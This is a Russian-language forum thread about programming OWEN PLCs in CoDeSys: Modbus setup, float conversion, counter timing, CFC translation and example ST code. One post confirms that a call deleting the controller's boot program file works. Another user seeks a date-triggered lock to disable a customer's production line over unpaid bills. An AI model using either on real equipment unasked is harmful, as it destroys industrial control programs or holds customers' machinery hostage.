2)Ethernet кабель кросовый(распиновка в соответствии с Руководством по эксплуатации) целостность проверил на роуторе, лампочки на входе плк не моргают и соответственно компьютер пишет кабель не подключен . Так же пробовал премой кабель.
3)USB Divaice аналогично не видит.

Сергей Колесник
02.10.2015, 04:41
У кого есть готовый проектик и сконфигурирован для пробы я пытаюсь узнать как это всё работает (пуск-стоп, управление скоростями и т.д.) ПЛК 110.32 Р-М и связать с ПЧВ-1 по модбасу

Вот пример работы ПЧВ

Сергей Колесник
02.10.2015, 04:47
Тоже самое есть в документации. Зря проект правил.

ООО "БЛС инжинеринг"
02.10.2015, 19:54
Аналогичная хр-нь. Делал как в примере. Может дело в библиотеке?
И ещё, у Вас ПЛК 110 обновлённый или старый?

Всё заработало надо было по внимательней быть и читать здесь (8 пост): http://www.owen.ru/forum/showthread.php?t=22030&highlight=%CF%CB%CA_%CF%D7%C2

Спасибо работает

ООО "БЛС инжинеринг"
02.10.2015, 19:58
Вот пример работы ПЧВ

Проектик нормальный, вот только как можно ещё добавить регулировку время разгона и торможения двигателем кто знаете как это сделать? былоб тогда вообще класс:)

spectrum48k
03.10.2015, 12:40
Проектик нормальный, вот только как можно ещё добавить регулировку время разгона и торможения двигателем кто знаете как это сделать? былоб тогда вообще класс:)

RAMP_INT или RAMP_REAL
при выбеге нужно шаманить с временем рампы для быстрого сброса в 0)

ООО "БЛС инжинеринг"
03.10.2015, 16:27
RAMP_INT или RAMP_REAL
при выбеге нужно шаманить с временем рампы для быстрого сброса в 0)

Спасибо попробую

Sing1
03.10.2015, 17:21
Прошу помощи! Имеется PLC 150IM, на нем с помощью биб-ки Sislibsockets организован TCP сервер. Вроде бы все нюансы с функциями этой библиотеки изучил, сервер работает с клиентами других PLC от OWEN, НО появилась потребность включить в сеть контроллер стороннего производителя, и тут никак не получается установить соединение, клиент в данном случае конфигурируется, к сокетам доступа нет. При этом если залить сервер на софт ПЛК от 3S, коммуникация устанавливается без проблем. Пробовал по UDP- клиент кадры шлет, на сервере пусто. Может кто с высоты собственного опыта скажет в чем проблема, или куда копать, а то уже начинаю отчаиваться.

ООО "БЛС инжинеринг"
04.10.2015, 11:37
Хочу спросить можно сохранить или экспортировать конфигурацию Modbus в CoDeSys V2.3 для других проектов чтоб в дальнейшем не играться с конфигурацией, если можно то как это сделать?

lara197a
04.10.2015, 11:54
нельзя, но вы можете прописать адреса в глобальных переменных

Эдуард_Н
04.10.2015, 12:27
Хочу спросить можно сохранить или экспортировать конфигурацию Modbus в CoDeSys V2.3 для других проектов чтоб в дальнейшем не играться с конфигурацией, если можно то как это сделать?

Может это подойдёт?

ООО "БЛС инжинеринг"
04.10.2015, 17:20
Может это подойдёт?

Да спасибо частично помогло

Anthonytics
09.10.2015, 10:42
Здесь будем обсуждать вопросы так или иначе связанные с программированием

Мой вопрос
Как в С при чтении из текстового файла сделать принудительный переход на другую строчку этого файла?

Алексей Александрович
09.10.2015, 11:17
Здесь будем обсуждать вопросы так или иначе связанные с программированием

Мой вопрос
Как в С при чтении из текстового файла сделать принудительный переход на другую строчку этого файла?

Форумом не ошиблись случаем?

Spawn
10.10.2015, 03:53
Подскажите пожалуйста как пользоваться аналоговыми выходами на ОВЕН ПЛК? В инструкции написано 4 мА = 0, 20 мА = 1...мне например нужно 12 мА, какое значение соответствует данному сигналу, 0.5? Как-то вскользь затронут данный вопрос в документации...или я не там, или не то читал...
У GE FANUC, например, 4 мА соответствует 0 и.е., а 20 мА соответствует 32000 и.е.. Для того чтобы получить на аналоговом выходе 12 мА, мне нужно при помощи функции "MOVE WORD" или руками в таблице выходных аналоговых сигналов присвоить значение 16000 и.е.
Как это сделать у ОВЕН? Какое значение мне присвоить, например, %ID0.2.0, чтобы получить те же 12 мА?

Валенок
10.10.2015, 11:48
..В инструкции написано 4 мА = 0, 20 мА = 1...мне например нужно 12 мА, какое значение соответствует данному сигналу, 0.5? ..
y := (x - x0) / (x1 - x0) * (y1 - y0) + y0 //5-6й класс школы. Просто школы

Если непонятно - занимайтесь гуглением волшебных функций.
Если понятно - util.lib, lin_trafo

Dimon ben Shimon
10.10.2015, 12:36
Учусь программировать в CoDeSys V2.3. Создал простенькую программу. В режиме эмуляции работает. При подключении ПЛК73 связь устанавливается, появляется окно загрузки программы в контроллер.
Все нормально, состояние выходов и входов контроллера меняется и это видно в окне CoDeSys. Затем связь разрываю, отключаю ПЛК от компьютера. Пробую запустить программу в контроллере - никакой реакции.
Снова подключаю ПЛК к PC. Если в CoDeSys пытаюсь открыть файл из ПЛК, то получаю ответ: "последний онлайн-сервис был завершен некорректно! Номер сервиса:49, номер ошибки:80 Файл 'source.dat' не читается. Исходный файл не может быть считан." А в режиме онлайн CoDeSys опять все в порядке. Что я делаю не так, подскажите.

Валенок
10.10.2015, 12:41
..ПЛК73..Если в CoDeSys пытаюсь открыть файл из ПЛК
В 73-ем нет файловой системы

Dimon ben Shimon
10.10.2015, 12:50
А в чем может быть причина невыполнения программы в самом контроллере без CoDeSys?

Валенок
10.10.2015, 17:08
Ошиблись в 7й строке программы

Spawn
11.10.2015, 00:44
y := (x - x0) / (x1 - x0) * (y1 - y0) + y0 //5-6й класс школы. Просто школы

Если непонятно - занимайтесь гуглением волшебных функций.
Если понятно - util.lib, lin_trafo

Спасибо, конечно за подсказку, но зачем на школе акцент делать? Да, не все помнится из школьного курса, нет в этом ничего сверхъестественного. Обычный человеческий фактор, когда человек не пользуясь, в течении длительного времени, теми или иными приобретенными знаниями, постепенно их утрачивает.

ООО "БЛС инжинеринг"
12.10.2015, 21:22
Я написал программу для ПЛК110.32-М и время цикла 10ms статистик показывает 20372 я так понимаю что это 1,6ms проходит на обработку моей программы но почему когда на 4 счётчика приходит один и тот же сигнал (импульсы) но на 1,2,3 и 4 вход ПЛК при частоте около 40 герц они работают нормально но если только свеше 60 герц они считают по разному 20373 мне нужно чтоб они (счётчики) работали нормально и стабильно считали около 100 герц.
Подскажите как мне это сделать?

petera
13.10.2015, 02:25
Я написал программу для ПЛК110.32-М и время цикла 10ms статистик показывает 20372 я так понимаю что это 1,6ms проходит на обработку моей программы но почему когда на 4 счётчика приходит один и тот же сигнал (импульсы) но на 1,2,3 и 4 вход ПЛК при частоте около 40 герц они работают нормально но если только свеше 60 герц они считают по разному 20373 мне нужно чтоб они (счётчики) работали нормально и стабильно считали около 100 герц.
Подскажите как мне это сделать?
Чтобы входы ПЛК могли фиксировать импульсы, время цикла должно быть не более периода следования импульсов деленного на два, т.е. для частоты импульсов 100 Гц, цикл не более 5 мс при условии, что сигнал на входах ПЛК имеет форму меандра, т.е. скважность импульсов равна 2 и фильтрация для дискретных входов отключена в конфигурации (Time of filtration = -1).

ЗЫ. Вы это подтвердили экспериментально.

...время цикла 10ms... когда на 4 счётчика приходит один и тот же сигнал (импульсы) но на 1,2,3 и 4 вход ПЛК при частоте около 40 герц они работают нормально...
При времени цикла 10 мс, частота на входе ПЛК должна быть не более 50 Гц.

wulf
13.10.2015, 10:42
Здравствуйте. Программирую на языке CFC. Столкнулся с проблемой сохранения вводимых с панели переменных. В примерах подходящий пример нашёл. Но написан на другом языке. Помогите перевести кусочек программа на язык CFC:

rtrig_pwr(CLK:=pwr_stat); (*Триггер отслеживающий передний фронт по появлению питания, переменная pwr_stat -флаг питания модуля Statistic*)

IF rtrig_pwr.Q THEN (*По появлению питания, передаём ,в переменную для записи в панель, значение сохраненное во временной retain-переменной до отключения питания*)
write:=Read_retain;
ELSE (*Если питание в данном цикле не менялось, то записываем текущее значение с панели в retain-переменную*)
read_retain:=read;
END_IF

TOF_wr(IN:=rtrig_pwr.Q , PT:=T#3s); (*Из-за задержки между появлением питания и старта программы ПЛК вводим задержку, т.е в течении заданного времени ПЛК после появления питания будет записывать данную переменную в панель*)
IF TOF_wr.Q THEN
comWrite:=255; (*Запись переменную write в панель*)
ELSE
comWrite:=254; (* Отмена записи*)
END_IF

С общим принципом разобрался. Дошел до команды THEN. А дальше тупик. Что за команда в CFC? Вызываемый блок не имеет входов, есть один только выход. Как на него цеплять условия? или я чего-то не понимаю.
Спасибо за ответ.

_Mikhail
13.10.2015, 10:49
IF TOF_wr.Q THEN ECЛИ (IF) появится сигнал на выходе TOF_wr.Q TO (THEN)
comWrite:=255; (*Запись переменную write в панель*) переменная comWrite:=255
ELSE ИНАЧЕ (ELSE)
comWrite:=254; (* Отмена записи*)переменная comWrite:=254
END_IF КОНЕЦ УСЛОВИЯ



Примерно так

melky
13.10.2015, 11:03
wulf в CFC используйте вход EN блока MOVE при предварительном сравнении.

wulf
13.10.2015, 11:11
Спасибо. Начал работать с блоком MOVE

petera
13.10.2015, 11:14
Здравствуйте. Программирую на языке CFC. Столкнулся с проблемой сохранения вводимых с панели переменных. В примерах подходящий пример нашёл. Но написан на другом языке. Помогите перевести кусочек программа на язык CFC:

rtrig_pwr(CLK:=pwr_stat); (*Триггер отслеживающий передний фронт по появлению питания, переменная pwr_stat -флаг питания модуля Statistic*)

IF rtrig_pwr.Q THEN (*По появлению питания, передаём ,в переменную для записи в панель, значение сохраненное во временной retain-переменной до отключения питания*)
write:=Read_retain;
ELSE (*Если питание в данном цикле не менялось, то записываем текущее значение с панели в retain-переменную*)
read_retain:=read;
END_IF

TOF_wr(IN:=rtrig_pwr.Q , PT:=T#3s); (*Из-за задержки между появлением питания и старта программы ПЛК вводим задержку, т.е в течении заданного времени ПЛК после появления питания будет записывать данную переменную в панель*)
IF TOF_wr.Q THEN
comWrite:=255; (*Запись переменную write в панель*)
ELSE
comWrite:=254; (* Отмена записи*)
END_IF

С общим принципом разобрался. Дошел до команды THEN. А дальше тупик. Что за команда в CFC? Вызываемый блок не имеет входов, есть один только выход. Как на него цеплять условия? или я чего-то не понимаю.
Спасибо за ответ.
20382
:rolleyes:

ООО "БЛС инжинеринг"
13.10.2015, 11:20
Чтобы входы ПЛК могли фиксировать импульсы, время цикла должно быть не более периода следования импульсов деленного на два, т.е. для частоты импульсов 100 Гц, цикл не более 5 мс при условии, что сигнал на входах ПЛК имеет форму меандра, т.е. скважность импульсов равна 2 и фильтрация для дискретных входов отключена в конфигурации (Time of filtration = -1).

ЗЫ. Вы это подтвердили экспериментально.

При времени цикла 10 мс, частота на входе ПЛК должна быть не более 50 Гц.
Спасибо это понятно.
А время 20384 время цыкала у меня 1,6 ms?

wulf
13.10.2015, 11:46
Всем спасибо за ответы. Сейчас вставлю этот кусочек программы и начну отладку!!!

petera
13.10.2015, 12:17
Спасибо это понятно.
А время 20384 время цыкала у меня 1,6 ms?
Нет, это время выполнения программы, а время цикла в параметрах ПЛК.
20387
Вы же писали, что оно у Вас 10 мс.

ООО "БЛС инжинеринг"
13.10.2015, 12:48
Нет, это время выполнения программы, а время цикла в параметрах ПЛК.
20387
Вы же писали, что оно у Вас 10 мс.

Понятно
Я сделал как вы сказали но все ровно плохо просчитывает ставил даже 4ms все ровно плохо считает, первые два быстрых входа считают нормально а два других плохо...

petera
13.10.2015, 12:54
Понятно
Я сделал как вы сказали но все ровно плохо просчитывает ставил даже 4ms все ровно плохо считает, первые два быстрых входа считают нормально а два других плохо...
А фильтрацию для обычных входов отключили?
20388

ООО "БЛС инжинеринг"
13.10.2015, 13:08
А фильтрацию для обычных входов отключили?
20388

Уже отключил ну и вроде стало всё работать нормально
Спасибо:)

DevAlex
13.10.2015, 16:53
Всем здравствуйте! Имеется ПО, которое по modbus будет опрашивать МВ110-224.1ТД, а именно только измеренное значение физической величины. В описании сказано, что значение хранится в двух регистрах 0x46 - 0x47. Вопрос следующий: как собрать и перевести вычисленное значение в читаемый вид (float)?

melky
13.10.2015, 17:20
DevAlex просто считать float и указать регистр 46. Правда в зависимости от ПО может потребуется изменять порядок старший, младший регистр или даже старший младший байт в регистре.

DevAlex
14.10.2015, 08:49
Дело в том, что после считывания там находятся значения, мягко говоря, "неподходящие". Реальное содержимое 0х46: 17603, 0х47: 36421. И как ни крути - это не то, что показывает динамометр.

capzap
14.10.2015, 08:57
а какое должно быть по Вашему реальное содержимое?
получается какое то из этих чисел [4568.408203125, -2.43152323021263E-30, 1564.44592285156, -196.271697998047 ], а по Вашему что должно быть?

DevAlex
14.10.2015, 09:01
а какое должно быть по Вашему реальное содержимое?
получается какое то из этих чисел [4568.408203125, -2.43152323021263E-30, 1564.44592285156, -196.271697998047 ], а по Вашему что должно быть?

Вот это похоже на правду - 1564.44592285156
Простите, как вы его получили?

melky
14.10.2015, 09:09
DevAlex ну так и получили переставляя регистры или байты. Насколько помню, в МастерСкада при чтении можно выбрать разные варианты переставления. В других необходимо делать это самому.

capzap
14.10.2015, 09:12
Вот это похоже на правду - 1564.44592285156
Простите, как вы его получили?

Вам просто требуется поменять слова(регистры) местами

petera
14.10.2015, 09:21
Вот это похоже на правду - 1564.44592285156
Простите, как вы его получили?
Вот здесь можно потренироваться http://www.binaryconvert.com/convert_float.html

ООО "БЛС инжинеринг"
14.10.2015, 14:20
Как можно реализовать частотомер CoDeSys V2.3 чтоб мог измерять частоту около 100 герц из декретного входа?

wulf
14.10.2015, 14:51
Здравствуйте. Возвращаясь к вышеизложенной теме: перевод куска программы в язык CFC. На этапе отладке выяснился такой факт: часть программы, отвечающая за запись из ретайн при включении, работает, а вот часть, отвечающая за запись переменной в ретайн, не работает. Тоесть, на ИП320 ввожу переменную, после подтверждения она остаётся, но в ПЛК я её не вижу. После выключения и повторного включения в течении нескольких секунд, указанных в TOF, ничего ввести в ИП320 не могу, сбрасывается в ноль. Где может быть ошибка?

petera
14.10.2015, 15:07
Как можно реализовать частотомер CoDeSys V2.3 чтоб мог измерять частоту около 100 герц из декретного входа?http://www.owen.ru/forum/attachment.php?attachmentid=11962&d=1392751544

20398 http://www.owen.ru/forum/attachment.php?attachmentid=11963&d=1392751579

petera
14.10.2015, 15:14
Здравствуйте. Возвращаясь к вышеизложенной теме: перевод куска программы в язык CFC. На этапе отладке выяснился такой факт: часть программы, отвечающая за запись из ретайн при включении, работает, а вот часть, отвечающая за запись переменной в ретайн, не работает. Тоесть, на ИП320 ввожу переменную, после подтверждения она остаётся, но в ПЛК я её не вижу. После выключения и повторного включения в течении нескольких секунд, указанных в TOF, ничего ввести в ИП320 не могу, сбрасывается в ноль. Где может быть ошибка?
Значит Вы ее не читаете из панели, например в конфигурации мастера нет элемента register input для переменной "read"

wulf
14.10.2015, 15:43
В конфигурации есть такой регистр.2039920400

petera
14.10.2015, 16:06
В конфигурации есть такой регистр.20399 20400
Наводящие вопросы
20401

wulf
14.10.2015, 16:11
204022040320404

Валенок
15.10.2015, 08:56
Wulf, если хочешь чтоб помогли - не занимайся картиночным рукоблудием, а выкладывай оба проекта (панель и плк)

wulf
15.10.2015, 11:10
Проект заархивировал. Подскажите, как выложить архив.

Ryzhij
15.10.2015, 11:17
Подскажите, как выложить архив Иконка со скрепкой в расширенном режиме подготовки сообщения

wulf
15.10.2015, 11:25
Программы загрузил. Для ПЛК программа рабочая, за исключением самой нижней части, которая как раз и отвечает за сохранение переменных из ИП320

wulf
15.10.2015, 13:58
В ходе отладки выясняется, что если задавать значения внутри ПЛК, то при перезагрузке они сохраняются и при включении выводятся на экран ИП320. Но поменять их с экрана нельзя. Точнее на экране они меняются, а в ПЛК нет.

melky
15.10.2015, 15:08
wulf скорее всего в ПЛК они перезаписывают ваши значения, вводимые из панели. Как-то наступал на подобные грабли, одновременной записи значения из панели и удаленно через модбас.
Надо разносить переменные от разных источников.

Эдуард_Н
20.10.2015, 15:57
Есть на сайте 3s версия CODESYS V2.3.9.48 (current version), можно ли её использовать для ОВЕНовских ПЛК?

ООО "БЛС инжинеринг"
20.10.2015, 19:50
Я когда-то встречал готовый проект реальных часов и календаря для ПЛК может подскажете где этот проект?

ВЗМП
20.10.2015, 21:22
здравствуйте.
я написал в проекте некий (некое. некую) POU. теперь хочу его же использовать в другом проекте. как его скопировать? но скопировать не как блок библиотеки, а так, чтобы я мог видеть текст программы этого ПОУ во втором проекте.
и еще. как скопировать содержимое ПОУ в другой ПОУ внутри одного проекта.
спасибо.

petera
20.10.2015, 21:45
здравствуйте.
я написал в проекте некий (некое. некую) POU. теперь хочу его же использовать в другом проекте. как его скопировать? но скопировать не как блок библиотеки, а так, чтобы я мог видеть текст программы этого ПОУ во втором проекте.
и еще. как скопировать содержимое ПОУ в другой ПОУ внутри одного проекта.
спасибо.
1. Перенести POU из одного проекта в другой можно с помощью операций Экспорта/Импорта
20476 ----> 20477

2. скопировать содержимое ПОУ в другой ПОУ внутри одного проекта
20478--->20479 --->20480

MyAvril
21.10.2015, 17:25
Здравствуйте! Помогите пожалуйста!
Мне нужно сделать так называемый импульсатор на языке FBD.
Импульсатор это как бы часть ШИМа. Но может у вас есть и схема самого ШИМа.
Цель такая - реализовать мигание (изменение с TRUE на FALSE) булевой переменной.
Без использования таймеров и блинкеров! Только с использованием стандартных простых блоков - больше, меньше, сложение, триггер по переднему либо по заднему фронту, вычитание. Ну вы поняли)
Что еще - надо еще чтобы была возможность задавать период и интенсивность мигания.
Вот такое задание, у вас я уверен уйдет менее 10 минут, а может у вас уже есть решение на этот вопрос. Могу заплатить скромную сумму, я студент.

ООО "БЛС инжинеринг"
21.10.2015, 19:25
Я когда-то встречал готовый проект реальных часов и календаря для ПЛК может подскажете где этот проект или как его самому сделать?

Сергей Мих
21.10.2015, 19:49
Я когда-то встречал готовый проект реальных часов и календаря для ПЛК может подскажете где этот проект?

Смотрите в примерах и полезностях
http:// www.owen.ru/forum/showthread.php?t=13588
6. Пример работы с библиотекой SysLibTime.
Получение реального времени из ПЛК. Задание даты и времени в ПЛК.

amn
21.10.2015, 20:03
Здравствуйте! Помогите пожалуйста!
Мне нужно сделать так называемый импульсатор на языке FBD.
Импульсатор это как бы часть ШИМа. Но может у вас есть и схема самого ШИМа.
Цель такая - реализовать мигание (изменение с TRUE на FALSE) булевой переменной.
Без использования таймеров и блинкеров! Только с использованием стандартных простых блоков - больше, меньше, сложение, триггер по переднему либо по заднему фронту, вычитание. Ну вы поняли)
Что еще - надо еще чтобы была возможность задавать период и интенсивность мигания.
Вот такое задание, у вас я уверен уйдет менее 10 минут, а может у вас уже есть решение на этот вопрос. Могу заплатить скромную сумму, я студент.

Варианты на языках ST, FBD и CFC.

petera
21.10.2015, 20:14
Я когда-то встречал готовый проект реальных часов и календаря для ПЛК может подскажете где этот проект?


Смотрите в примерах и полезностях
http:// www.owen.ru/forum/showthread.php?t=13588
6. Пример работы с библиотекой SysLibTime.
Получение реального времени из ПЛК. Задание даты и времени в ПЛК.
Посмотрите мой проект здесь http://www.owen.ru/forum/showthread.php?t=16298&p=156821&viewfull=1#post156821 часы/календарь в ПЛК+проект для СП270 для установки времени в ПЛК и синхронизации времени в панели с временем в ПЛК.

https://www.youtube.com/watch?v=YglFHf6BNHQ

ООО "БЛС инжинеринг"
21.10.2015, 21:03
Они есть в ПЛК. Не понятен смысл вопроса

Мне нужно чтоб постоянно в ПЛК работал календарь и часы Пример: Мы производим линии розлива и мы хотим поставить типа лицензии на машину, ну если они не рассчитаются за линию то сработает блокировка на запуск но мы предварительно указали дату блокировки, и как только заплатят мы снимаем блокировку по дате.

ООО "БЛС инжинеринг"
21.10.2015, 21:39
Я нашел проект но я когда-то видел другой на CFC попробую его запустит на ПЛК. А так спасибо вам
http://www.owen.ru/forum/showthread.php?t=13588

petera
21.10.2015, 21:50
Мне нужно чтоб постоянно в ПЛК работал календарь и часы Пример: Мы производим линии розлива и мы хотим поставить типа лицензии на машину, ну если они не рассчитаются за линию то сработает блокировка на запуск но мы предварительно указали дату блокировки, и как только заплатят мы снимаем блокировку по дате.
Однако, если ПЛК выключить на дня три, четыре, то время и дата в нем сбрасывается на 1 января 1970 года 00:00:00. По крайней мере для ПЛК160 это справедливо.
Поэтому метод не прокатит:(. Можно не платить лет 45.

Арсеньев Илья
21.10.2015, 23:56
Помогите подключить 2 ПЛК110-30 между собой по протоколу TCP-IP или UDP-IP
Должен быть готовый пример, но где не могу найти.

MyAvril
22.10.2015, 01:03
У меня к вам огромная просьба, сделайте скриншот экрана со схемой FBD и отправьте мне файл в JPG. У меня нечем его открыть. Работаю в ISAGRAF.

Yegor
22.10.2015, 07:11
SysFileDelete('default.prg'); //не пробывал )))Попробовал. Работает.

ООО "БЛС инжинеринг"
24.10.2015, 18:18
Как можно сделать в CoDeSys V2.3 так чтоб можно было считать производительность?
ПРИМЕР: По конвейеру едут бутылки и их нужно посчитать за 10 минут сколько пройдёт бутылок и умножить на 6 равняется количество в час, но при этом обновляется информация каждые 10 минут и показывает на панельки производительность.

Uniqum
24.10.2015, 18:24
нужно наверно счетчик(СТU),таймер(t#10m),выход CTU множить на 6 по таймеру, массив с перезаписью,

ООО "БЛС инжинеринг"
24.10.2015, 18:42
нужно наверно счетчик(СТU),таймер(t#10m),выход CTU множить на 6 по таймеру, массив с перезаписью,

А можно по подробнее о массиве с перезаписью? прицеп просчёта понятен, как можно сделать чтоб пришёл кратковременный сигнал WORD и его постоянно перезаписывать и при включении питания он был сброшен

Uniqum
24.10.2015, 18:49
PROGRAM PLC_PRG(*условия задачи *)
(*необходимо произвести замену элементов массива по возврастанию, заменяя в 0-й точке на новой, а из *)
(* 0-й точки необходимо переместить в 1-ю, из 1 в 2, из 2 в 3 и т.д.*)
VAR
rt1:R_TRIG;
at1:ARRAY [0..9] OF REAL;
k:WORD;
ai1:REAL; in1:BOOL;

END_VAR

rt1(CLK:=in1 , Q=> ); (*ловим фронт по нажатию кнопки*)

IF rt1.Q=TRUE THEN (*при наличии фронта начинаем цикл*)
FOR k:=0 TO 8 DO

at1[9-k]:=at1[9-k-1]; (*записываем старые данные в новое место*)

END_FOR
at1[0]:=ai1;(*записываем в 0-ю новые данные*)
END_IF

ООО "БЛС инжинеринг"
24.10.2015, 19:19
PROGRAM PLC_PRG(*условия задачи *)
(*необходимо произвести замену элементов массива по возврастанию, заменяя в 0-й точке на новой, а из *)
(* 0-й точки необходимо переместить в 1-ю, из 1 в 2, из 2 в 3 и т.д.*)
VAR
rt1:R_TRIG;
at1:ARRAY [0..9] OF REAL;
k:WORD;
ai1:REAL; in1:BOOL;

END_VAR

rt1(CLK:=in1 , Q=> ); (*ловим фронт по нажатию кнопки*)

IF rt1.Q=TRUE THEN (*при наличии фронта начинаем цикл*)
FOR k:=0 TO 8 DO

at1[9-k]:=at1[9-k-1]; (*записываем старые данные в новое место*)

END_FOR
at1[0]:=ai1;(*записываем в 0-ю новые данные*)
END_IF

Я новичок, а как можно сделать на CFC? можно скриншот или проектик

Uniqum
24.10.2015, 19:40
как то так

ООО "БЛС инжинеринг"
24.10.2015, 20:05
как то так

Большое спасибо работает

Uniqum
24.10.2015, 20:15
да не за что, но ST все таки изучите-реально помогает :cool:

ООО "БЛС инжинеринг"
24.10.2015, 21:30
да не за что, но ST все таки изучите-реально помогает :cool:

ST это хорош, но для начало CFC а потом ST :)

MyAvril
27.10.2015, 15:25
Здравствуйте! Помогите пожалуйста. Нужно написать на ST экспоненциальный фильтр. Входные величины - 1) задание 2)время фильтрации 3)время цикла. Выходная величина одна, изменяющаяся в реальном времени во время симуляции. Особые условия - при времени фильтрации меньше 0.04 с - принимать его равным 0 и создать защиту от деления на 0. ПРимечание - делать не через дифференцирование, а через интегрирование. (обе части знаменателя передаточной функции умножить на 1/p). Программа будет использоваться на ISAGRAF.

Dobrosed
27.10.2015, 16:34
Вынес вопрос в отдельную тему. http://www.owen.ru/forum/showthread.php?t=22546

МАКАРОВ
29.10.2015, 12:24
Здравствуйте! Помогите пожалуйста!
Мне нужно использовать быстрые дискретные входы контроллера PLC 110-60 .
Для начала попытался запустить пример http://kipshop.ru/Primeri/Samples_plc1xx/Samples/17_Timer.Lib.zip
Запуститься удалось с периодом прерывания 60 мкс.
Судя по изменению значений переменных в CoDeSys считывание с входов идёт, но сигнал на выходы не поступает.
Пробовал на двух контроллерах 2012г и 2015г выпуска. Результат одинаков.
В чём может быть причина ?

Serji777
01.11.2015, 21:20
Добрый день! Помогите пожалуйста.Конфигурация СП270-T (мастер),ПЛК-160, МВ110-224.1ТД. Через конфигуратор МВ110 сконфигурировал. Ставлю на датчик груз , через конфигуратор вижу всё ок (показания меняются). Через CoDeSys V2.3 не получается переменную в контроллер передать.Пример программы прилагаю. Где можно поподробнее про адресацию данного модуля почитать? Может пример есть?

Serji777
01.11.2015, 22:57
Сорри за пост. Разобрался.

Зинец Олег
03.11.2015, 17:04
Никак не могу разобраться с сохранением файла или значения переменной в энергонезависимую память ПЛК73. Пожалуйста, помогите! Вроде нашел инструкцию, делаю всё по ней, проект компилируется, но при загрузке в ПЛК выдаёт сообщение "Неразрешенные ссылки на внешние POU".

Zulus
04.11.2015, 00:00
День добрый. Новичок в программировании Пр110. Прошу совета. Как реализовать наполнение бункера порошком?

Система такова: Имеется бункер, в нем стоит два датчика уровня (верхний уровень и нижний уровень, дискретного типа, НО). Загрузка производится включением загрузочного шнека сверху. Выгрузка идет постоянно (тоже собственно шнеком но на оч. малой скорости) снизу. Как реализовать систему заполнения бункера по следующему алгоритму: Включение шнека загрузочного(собственно замыкание выходного реле ПР110) только после того как смесь ушла ниже датчика нижнего уровня и отключение шнека загрузочного только тогда когда смесь поднялась выше датчика верхнего уровня? Заранее благодарю.

_Mikhail
04.11.2015, 00:12
День добрый. Новичок в программировании Пр110. Прошу совета. Как реализовать наполнение бункера порошком?

Система такова: Имеется бункер, в нем стоит два датчика уровня (верхний уровень и нижний уровень, дискретного типа, НО). Загрузка производится включением загрузочного шнека сверху. Выгрузка идет постоянно (тоже собственно шнеком но на оч. малой скорости) снизу. Как реализовать систему заполнения бункера по следующему алгоритму: Включение шнека загрузочного(собственно замыкание выходного реле ПР110) только после того как смесь ушла ниже датчика нижнего уровня и отключение шнека загрузочного только тогда когда смесь поднялась выше датчика верхнего уровня? Заранее благодарю.
Если работаешь с реле ПР110, то что делаешь в ветке форума Codesys?

Сергей0308
04.11.2015, 00:12
День добрый. Новичок в программировании Пр110. Прошу совета. Как реализовать наполнение бункера порошком?

Система такова: Имеется бункер, в нем стоит два датчика уровня (верхний уровень и нижний уровень, дискретного типа, НО). Загрузка производится включением загрузочного шнека сверху. Выгрузка идет постоянно (тоже собственно шнеком но на оч. малой скорости) снизу. Как реализовать систему заполнения бункера по следующему алгоритму: Включение шнека загрузочного(собственно замыкание выходного реле ПР110) только после того как смесь ушла ниже датчика нижнего уровня и отключение шнека загрузочного только тогда когда смесь поднялась выше датчика верхнего уровня? Заранее благодарю.

Примените RS-триггер!

nsarychev
12.11.2015, 19:18
Доброго времени суток комрады!
Пытаюсь разобраться с мало знакомым мне ПЛК 154 и МВ110-32ДН.
А именно не могу добиться получения от МВ110-32ДН больше чем 8-ми каналов из 32-х.
Адрес модуля 32.
Подключаю так:
OWEN (Master)[VAR] -> Unsigned variable (Listen)[VAR] (adress 32, hast name r.Cn, ОСТАЛЬНОЕ ПО УМОЛЧАНИЮ) -> 8 bits[VAR]
Далее множу все это дело, указывая адреса 33,34,35. И болт!!!

А если точнее, вижу только первые 8 каналов в первом регистре, остальные три регистра состояния дискретных входов не читаются.

Что я делаю не так?

Василий Кашуба
12.11.2015, 22:29
Доброго времени суток комрады!
Пытаюсь разобраться с мало знакомым мне ПЛК 154 и МВ110-32ДН.
А именно не могу добиться получения от МВ110-32ДН больше чем 8-ми каналов из 32-х.
Адрес модуля 32.
Подключаю так:
OWEN (Master)[VAR] -> Unsigned variable (Listen)[VAR] (adress 32, hast name r.Cn, ОСТАЛЬНОЕ ПО УМОЛЧАНИЮ) -> 8 bits[VAR]
Далее множу все это дело, указывая адреса 33,34,35. И болт!!!

А если точнее, вижу только первые 8 каналов в первом регистре, остальные три регистра состояния дискретных входов не читаются.

Что я делаю не так?
Простого описания для ответа мало, нужен проект.

tomilov91
13.11.2015, 13:39
Почему нельзя побитно обращаться в цикле?
Например
a,i :word;
for i:=0 to 15 DO
if a.i then ....
..........
END_IF
END_FOR

Yegor
13.11.2015, 13:45
Номер разряда вычисляется на стадии компиляции и может быть только константой. Ограничение компилятора.

petera
13.11.2015, 14:07
Почему нельзя побитно обращаться в цикле?
Например
a,i :word;
for i:=0 to 15 DO
if a.i then ....
..........
END_IF
END_FOR

Так попробуйте

VAR
a: WORD;
i: INT;
END_VAR
FOR i:=0 TO 15 DO
IF (SHR(a,i) AND 16#0001) > 0 THEN
(*Здесь то, что нужно сделать*)
END_IF
END_FOR

Panalexfix
13.11.2015, 17:04
Доброго времени суток!!!
Прошу помощи в переводе из Float в нормальный десятичный вид. Задача: из весового контроллера КВ 001 считать один регистр №0 (текущий вес), а он Float. Производитель сказал что нужно поменять первый и последний бит при считывании, а как это сделать не знаю((((.

energvk
13.11.2015, 20:49
Столкнулся со странной проблемой управления преобразователем частоты по modbus.
По изменению отправляется команды управления на ПЧ.
20804

Когда ПЛК включен и ПЧ включен, даем команду на запуск/останов всё хорошо. Когда пропадает питание на ПЧ (ПЛК работает от ИБП), то после восстановления питания он не запускается, пока не снимешь команду пуска и не подашь её заново. Вот не могу понять в чём может быть причина, так как на других объектах такого не наблюдалось. ПЛК160, ПЧ - Altivar212. Может кто что-нибудь посоветует?

petera
14.11.2015, 01:28
Столкнулся со странной проблемой управления преобразователем частоты по modbus.
По изменению отправляется команды управления на ПЧ.
20804

Когда ПЛК включен и ПЧ включен, даем команду на запуск/останов всё хорошо. Когда пропадает питание на ПЧ (ПЛК работает от ИБП), то после восстановления питания он не запускается, пока не снимешь команду пуска и не подашь её заново. Вот не могу понять в чём может быть причина, так как на других объектах такого не наблюдалось. ПЛК160, ПЧ - Altivar212. Может кто что-нибудь посоветует?
Ни чего странного здесь нет.
